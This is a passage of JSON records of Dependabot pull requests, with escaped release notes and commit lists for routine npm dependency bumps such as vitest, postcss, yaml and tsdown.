dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/6c9bc73d9d2ad2c9c8e998ace707ebe067bc8425\"\u003e\u003ccode\u003e6c9bc73\u003c/code\u003e\u003c/a\u003e Fix invalid source map mapping on escaping before new line (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2169\"\u003e#2169\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/1fd8f881875330b284d65961c2c158f61d4e3bab\"\u003e\u003ccode\u003e1fd8f88\u003c/code\u003e\u003c/a\u003e Add missed changes in changelog\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/postcss/postcss/compare/8.5.29...8.5.31\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 5.0.3 to 5.0.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev5.0.4\u003c/h2\u003e\n\u003ch3\u003e   🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eexperimental\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eTag cache directories with CACHEDIR.TAG  -  by \u003ca href=\"https://github.com/lifeiscontent\"\u003e\u003ccode\u003e@​lifeiscontent\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11461\"\u003evitest-dev/vitest#11461\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a8ea3c8fd\"\u003e\u003c!-- raw HTML omitted --\u003e(a8ea3)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSupport \u003ccode\u003etest.ui.theme\u003c/code\u003e option  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11499\"\u003evitest-dev/vitest#11499\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/1da66405d\"\u003e\u003c!-- raw HTML omitted --\u003e(1da66)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHighlight selector multiple matches in trace view  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11489\"\u003evitest-dev/vitest#11489\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5abba1e1b\"\u003e\u003c!-- raw HTML omitted --\u003e(5abba)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePrint how many tests were affected and a total when running \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11424\"\u003evitest-dev/vitest#11424\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a23368585\"\u003e\u003c!-- raw HTML omitted --\u003e(a2336)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd an option to cache dependencies instead of statically parsing them  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11515\"\u003evitest-dev/vitest#11515\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/c06012ac8\"\u003e\u003c!-- raw HTML omitted --\u003e(c0601)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd fit and zoom controls to trace viewer  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11490\"\u003evitest-dev/vitest#11490\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f5dd99ed0\"\u003e\u003c!-- raw HTML omitted --\u003e(f5dd9)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFail the run on git and location filter errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11430\"\u003evitest-dev/vitest#11430\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/30d0304d2\"\u003e\u003c!-- raw HTML omitted --\u003e(30d03)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEnable fsModuleCache by default  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11435\"\u003evitest-dev/vitest#11435\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ad208cc29\"\u003e\u003c!-- raw HTML omitted --\u003e(ad208)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eTrack project files and mocks with --changed  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11432\"\u003evitest-dev/vitest#11432\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/b0f2b3bb9\"\u003e\u003c!-- raw HTML omitted --\u003e(b0f2b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRefactor caching, fix \u003ccode\u003e:\u003c/code\u003e in project and change the shape of \u003ccode\u003eresults\u003c/code\u003e cache  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11453\"\u003evitest-dev/vitest#11453\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9673c49a4\"\u003e\u003c!-- raw HTML omitted --\u003e(9673c)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep full \u003ccode\u003e$\u003c/code\u003e string values when \u003ccode\u003etaskTitleValueFormatTruncate\u003c/code\u003e is 0  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11485\"\u003evitest-dev/vitest#11485\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4f7e1799b\"\u003e\u003c!-- raw HTML omitted --\u003e(4f7e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve node builtins in client environments  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11417\"\u003evitest-dev/vitest#11417\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/56b319ac6\"\u003e\u003c!-- raw HTML omitted --\u003e(56b31)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix module graph builtin externals after \u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11421\"\u003e#11421\u003c/a\u003e  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11491\"\u003evitest-dev/vitest#11491\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11421\"\u003evitest-dev/vitest#11421\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/008e184cb\"\u003e\u003c!-- raw HTML omitted --\u003e(008e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWrap module mocks during in-source testing  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11505\"\u003evitest-dev/vitest#11505\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/36d19cb00\"\u003e\u003c!-- raw HTML omitted --\u003e(36d19)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle line endings in snapshot  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11522\"\u003evitest-dev/vitest#11522\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4c468aa40\"\u003e\u003c!-- raw HTML omitted --\u003e(4c468)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRespect root in projects  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11521\"\u003evitest-dev/vitest#11521\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/26642f793\"\u003e\u003c!-- raw HTML omitted --\u003e(26642)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve mocks in directories with spaces  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11539\"\u003evitest-dev/vitest#11539\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/caaef9416\"\u003e\u003c!-- raw HTML omitted --\u003e(caaef)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eapi\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003ePublish the api token atomically  -  by \u003ca href=\"https://github.com/umairnawaz333\"\u003e\u003ccode\u003e@​umairnawaz333\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11323\"\u003evitest-dev/vitest#11323\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6f990fef1\"\u003e\u003c!-- raw HTML omitted --\u003e(6f990)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6ed371e43f80ff327f5063693bd6b1ad\"\u003e\u003ccode\u003e6621a72\u003c/code\u003e\u003c/a\u003e fix: abort all running tests on cancel (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11606\"\u003e#11606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0c8d6867de06a3df43ea28a05eeec444\"\u003e\u003ccode\u003ee9c3d72\u003c/code\u003e\u003c/a\u003e fix: release mocks of finished test files (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11607\"\u003e#11607\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c2625943d824e257b87ae57a14094e90eed\"\u003e...\n\n_Description has been truncated_","html_url":"https://github.com/Reefk/SniperJournal/pull/4","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Reefk%2FSniperJournal/issues/4","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/4/packages"},{"uuid":"6012439380","node_id":"PR_kwDOT3vguM8AAAABKbmMng","number":19,"state":"open","title":"chore(deps): bump the npm-minor-patch group with 5 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-10-24T11:28:30.000Z","updated_at":"2026-10-24T11:45:04.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"npm-minor-patch","update_count":5,"packages":[{"name":"yaml","old_version":"2.9.0","new_version":"2.9.1","repository_url":"https://github.com/eemeli/yaml"},{"name":"@types/node","old_version":"22.20.1","new_version":"22.20.5","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"@vitest/coverage-v8","old_version":"4.1.10","new_version":"4.1.12","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"tsdown","old_version":"0.22.14","new_version":"0.23.1","repository_url":"https://github.com/rolldown/tsdown"},{"name":"vitest","old_version":"4.1.11","new_version":"4.1.12","repository_url":"https://github.com/vitest-dev/vitest"}],"path":null,"ecosystem":"npm"},"body":"Bumps the npm-minor-patch group with 5 updates:\n\n| Package | From | To |\n| --- | --- | --- |\n| [yaml](https://github.com/eemeli/yaml) | `2.9.0` | `2.9.1` |\n| [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node) | `22.20.1` | `22.20.5` |\n| [@vitest/coverage-v8](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8) | `4.1.10` | `4.1.12` |\n| [tsdown](https://github.com/rolldown/tsdown) | `0.22.14` | `0.23.1` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `4.1.11` | `4.1.12` |\n\nUpdates `yaml` from 2.9.0 to 2.9.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/eemeli/yaml/releases\"\u003eyaml's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.9.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eLimit recursive merge aliases (\u003ca href=\"https://redirect.github.com/eemeli/yaml/issues/685\"\u003e#685\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/eemeli/yaml/issues/713\"\u003e#713\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSimplify line unfolding during quoted string parsing (\u003ca href=\"https://redirect.github.com/eemeli/yaml/issues/714\"\u003e#714\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eemeli/yaml/commit/1440ecd3d1bff41e4ac399f8f6839e810328bd16\"\u003e\u003ccode\u003e1440ecd\u003c/code\u003e\u003c/a\u003e 2.9.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eemeli/yaml/commit/c699bc575b46e1dd3c05f1ffcf3f20f14085f8d8\"\u003e\u003ccode\u003ec699bc5\u003c/code\u003e\u003c/a\u003e fix: Simplify line unfolding during quoted string parsing (\u003ca href=\"https://redirect.github.com/eemeli/yaml/issues/714\"\u003e#714\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eemeli/yaml/commit/d11ce77c1adf022e9637f4d27b90fe9c96fe9743\"\u003e\u003ccode\u003ed11ce77\u003c/code\u003e\u003c/a\u003e fix: Limit recursive merge aliases (\u003ca href=\"https://redirect.github.com/eemeli/yaml/issues/713\"\u003e#713\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eemeli/yaml/commit/c5f49f4c616ea49239f010d5c9d8023e9667438a\"\u003e\u003ccode\u003ec5f49f4\u003c/code\u003e\u003c/a\u003e chore: Update docs-slate\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/eemeli/yaml/compare/v2.9.0...v2.9.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@types/node` from 22.20.1 to 22.20.5\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/DefinitelyTyped/DefinitelyTyped/commits/HEAD/types/node\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@vitest/coverage-v8` from 4.1.10 to 4.1.12\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003e@​vitest/coverage-v8's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.1.12\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003emocker\u003c/strong\u003e: Harden manual and redirect mocks [backport to v4]  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11580\"\u003evitest-dev/vitest#11580\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/b82531324\"\u003e\u003c!-- raw HTML omitted --\u003e(b8253)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.11...v4.1.12\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev4.1.11\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRevive global concurrency limit for test lifecycle [backport to v4]  -  by \u003ca 